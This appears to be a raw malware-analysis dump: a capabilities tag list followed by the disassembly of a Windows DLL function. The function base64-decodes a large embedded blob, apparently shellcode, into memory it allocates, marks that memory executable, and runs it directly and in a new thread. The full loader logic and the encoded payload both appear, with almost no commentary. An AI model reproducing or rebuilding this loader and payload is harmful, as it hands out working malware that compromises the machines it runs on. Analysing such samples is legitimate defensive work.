Function at 0x10001c80
Capabilities:
Create thread
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x133c
call fcn.10120450
mov eax, dword [0x1021f1b0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x132d
lea eax, [ebp - 0x1334]
push str.VYvsgT4gezkAgAAU1ZX6NwNAAAz24mcJDABAACJnCREAQAAM8mAPAEqdTGAfAEBXnUqgHwBAiZ1I4B8AQMjdRyAfAEEJHUVgHwBBV51DoB8AQYmdQeAfAEHJXQLQYH5uIIBAHzA6wkDyImMJEgBAABkoTAAAACLQAyLcBTrGw3ViSLRijR6uiRDAAAPeacyhwPhCQHAACLNjvzdeEz_1NocBaUcOiDAAAU2hTgIU_iUQkeOivDAAAU2hUuLkaiYQkhAAAAOidDAAAUGh4HyB_iYQkkAAAAOiLDAAA_7QkkAAAAImEJJgAAABoYjSJXuhzDAAA_7QkmAAAAImEJKQAAABoc4BIBuhbDAAA_7QkoAAAAImEJLAAAABo6ZujCOhDDAAA_7QkqAAAAImEJLwAAABoX1oHIugrDAAAg8RA_3QkcImEJOgAAABoj8ZkOegTDAAA_3QkeImEJJAAAABo195BJejCwAA_7QkgAAAAImEJJwAAABoWlpRCejmCwAAiYQkpAAAAIPEGI1EJBxQx0QkIG50ZGxmx0QkJGwA_5QkiAAAAIv4O_t1C41EJBxQ_1QkeIv4_3QkcGjLebUN6KILAAD_dCR4iYQknAAAAGjA6RgV6I0LAACJhCSkAAAAg8QQjUQkPFDHRCRAdXNlcsdEJEQzMi5kZsdEJEhsbIhcJEr_lCSIAAAAi_g73ULjUQkPFD_VCR4i_j_dCRwaCHj2wboPQsAAP90JHiJhCTcAAAAaN8anGHoKAsAAP0JIAAAACJhCToAAAAaALfyivoEAsAAP0JIgAAACJhCT0AAAAaNV_rF3oAoAAP0JJAAAACJhCQAAQAAaPat7GXo4AoAAP0JJgAAACJhCQMAQAAaMGx9GvoyAoAAP0JKAAAACJhCQcAQAAaPLAKBDosAoAAP0JKgAAACJhCQoAQAAaMIcbk_omAoAAImEJDABAACDxECNRCQkUMdEJChBZHZhx0QkLHBpMzKIXCQw_5QkiAAAAIv4O_t1C41EJCRQ_1QkeIv4_3QkcGgWIw1W6E8KAAD_dCR4iYQkAAEAAGhJjf186DoKAAD_tCSAAAAAiYQkDAEAAGhtJw1S6CIKAAD_tCSIAAAAiYQkGAEAAGh3v40S6AoKAAD_tCSQAAAAiYQkJAEAAGin105j6PIJAAD_tCSYAAAAiYQkMAEAAGiXtVUT6NoJAACJhCQ4AQAAg8QwjUQkSFDHRCRMV3MyX8dEJFAzMi5kZsdEJFRsbIhcJFb_lCSIAAAAi_g73ULjUQkSFD_VCR4i_j_dCRwaDQmUjPoigkAAP90JHiJhCSkAAAAaJ8tQCbodQkAAP0JIAAAACJhCSwAAAAaAGVU0HoXQkAAP0JIgAAACJhCS8AAAAaNd9XnjoRQkAAP0JJAAAACJhCTIAAAAaMiEOjHoLQkAAP0JJgAAACJhCTUAAAAaNpQKwnoFQkAAP0JKAAAACJhCTgAAAAaNyHgw_o_QgAAP0JKgAAACJhCTsAAAAaLI0YQ_o5QgAAIPEQP90JHCJhCS4AAAAaBnyLzrozQgAAP90JHiJhCTIAAAAaBsWrBTouAgAAP0JIAAAACJhCTMAAAAaKg7pDTooAgAAP0JIgAAACJhCTcAAAAaIeWLnjoiAgAAP0JJAAAACJhCToAAAAaFA3C1_ocAgAAP0JJgAAACJhCT0AAAAaM8s9E_oWAgAAImEJPwAAACDxDCNRCQwUMdEJDRnZGkzx0QkODIuZGxmx0QkPGwA_5QkiAAAAIv4O_t1C41EJDBQ_1QkeIv4_3QkcGjr8jky6AwIAAD_dCR4iYQkGAEAAGh344gy6PcHAAD_tCSAAAAAiYQkJAEAAGgl5dca6N8HAAD_tCSIAAAAiYQkMAEAAGhtdl5J6McHAAD_tCSQAAAAiYQkPAEAAGjDzu1A6K8HAAD_tCSYAAAAiYQkSAEAAGiSq3dK6JcHAAD_tCSgAAAAiYQkVAEAAGjaAd0Z6H8HAACJhCRcAQAAg8Q4jUQkVFDHRCRYU2hlbMdEJFxsMzIux0QkYGRsbAD_lCSIAAAAO8N1CY1EJFRQ_1QkeP90JHCLGghLncv6DQHAACJhCQwAQAAi4QkUAEAAFlZvj8ADwA4WGl0O42EJFwBAABQVlONRCRsUGgCAACAx0QkdFNZU1Rmx0QkeEVNiFwkevUJAwBAACFwHQJjXwkaOhzAwAAi4QkSAEAADhYanRq_5Qk5AAAAIlEJBjHRCQQBAAAAFP_lCTYAAAAi_g73Q6jYQkVAEAAFBX_5Qk6AAAAItEJBg7hCRUAQAAdQlTV_UJOQAAABqAlf_lCTgAAAAO8d0Bov4O8N1xmjoAwAA_1QkcP9MJBB1qWpAaAAwAABo8s8HAFOJXCQox0QkIA7QBwD_lCSIAAAAi_iNRCQYUIuEJEwBAABWU4PAClBoAQAAgPUJAwBAACFwAFkgAAAI1EJBBQV42EJGABAABQU41EJCRQ_3QkLGbHRCQsMADHhCRwAQAAAwAAAPUJBQBAAD_dCQYi_D_lCQMAQAAO_N1QIF8JBAAKAAAdjD_dCQQi7QkTAEAAFeDxgrodgAAAFlZjXQkaIm8JEQBAADoPwUAAOtYi34Q6dz4____1__Q60poAIAAAFNX_5QkiAAAAOsVi4QkSAEAADhYa3QJjUQkaOhEAQAAjYQkYAEAAFBoAgIAAPUJKAAAACFwOsLjVwkaOhxAgAAhMB0818zwF5AW4vlXcNVixRVzP_iX38OX0Mfj1TigaEwHUFM9tD6wMPttiLRQiNDAeLRfwPtgQwmff7i8dqCgJWATARmVn3f9F_IXSdQMhVfxHO30MfMVbX8nDVYvsgw8U1cz_1f_loAAAABqKFuJRfhTjUXIUP9WKItFDIlFzItFEPfYiUXQM8BAaiBmiUXUWP91IldyGaJRdaJfdj_lqgAAAD_dRCL2P91DP91PWpAAAAFBTiUX0_5a0AAAAaCAAzABXV_91IlF8P91EP91DFdXU_WrAAAAFeJRQyNRchQ_3UI_3UQV_919FP_lrAAAAD_dfBT_5a0AAAA_3X0_5a4AAAAU_WvAAAAP91Ff_logAAACLRQxfW8nDVYvsgwcU1ZXi_BoiBMAAP9WBGoA_5aEAAAAagGJRfz_loQAAACLIl98AvffxqBLsAMAAAU8HnAldqAP9WEGoEU1dqAIlF6P9WEItd6IlF7IXbdGFwHRr_3Xw_3X8UjU_v__g8QMhcB0WINl9ABo0AcAAP9WBP918P91_P917Oiz_v__g8QMhcB0K4NlACF_34ji03si8Mry4l96IoQOhQBdAP_RfhA_03odfCBffggTgAAfwz_RfSBffQIBwAAfKxfXlvJw1WL7IPsDFNWagSADAAAFZoBAEAADPbU_9XEGgEAQAAUFOJRfz_F4XAdFVqBFZqPFP_VxCL8Go8Vv9XKMcGPAAAAMdGBEAAAACJXgjHRfRydW5hZsdFHMAjUX0iUYMi0X8VolGEIleFIleGIleHIleIPXwAAAAIXAdART_1cYXlvJw1WL7IPsHFZXagZqATP_agJmx0X4MACJffSJfez_UzSJg8gAAACDP8PhIkBAABqQGgAMAAAaA7QBwBX_1MQiYPcAAAAO8cPhGsBAACNRexQi4PgAAAAV1eDwEZQ_1M4hcAPhVABAACLReyLcBiLgAAAACNu8wAAAClpaWlD7dAZFD_U0BmiYPOAAAAahCNg8wAAABQ_7PIAAAA_1NEg_j_D4QOAQAAagBqAY1F_1D_s8gAAADGRf95_1NIhcAPjvEAAACDZeQAagRoADAAAGgAAcAagD_UxCJRfSFwAE0QAAAINl8ACLfeRqAGgA0AcA_3X0_7PIAAAA_1NMiUXohcAPjqwAAACDffAAdTJqBP919I1F8FD_UyyDfegOD46QAAAAi3X0i7vcAAAAjUXwagRQg8YEg8cE6F78__9ZWf916IuD3AAAAP919It15APGUP9TLAN16Il15Dt18HWKaACAAABqAP919P9TFIOD3AAAAA6Lg9wAAACDxvJW
push eax
call fcn.101221e0
add esp, 0xc
mov dword [ebp - 0x133c], 0x132d
push 4
push 0x3000
push 0x132d
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x10001cfb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Failed_to_allocate_memory___u__n
call fcn.10130ce3
add esp, 8
or eax, 0xffffffff
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1011d403
mov esp, ebp
pop ebp
ret
push 0
push 0
lea eax, [ebp - 0x133c]
push eax
push esi
push 1
push dword [ebp - 0x133c]
lea eax, [ebp - 0x1334]
push eax
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x10001d48
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Failed_to_decode_the_payload__u__n
call fcn.10130ce3
add esp, 8
mov eax, 0xfffffffe
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1011d403
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x1338]
push eax
push 0x20
push dword [ebp - 0x133c]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x10001d8a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Failed_to_change_memory_protection___u__n
call fcn.10130ce3
add esp, 8
mov eax, 0xfffffffd
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1011d403
mov esp, ebp
pop ebp
ret
call esi
push 0
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
jne 0x10001dc9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Failed_to_Create_the_thread___u__n
call fcn.10130ce3
add esp, 8
mov eax, 0xfffffffd
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1011d403
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.1011d403
mov esp, ebp
pop ebp
ret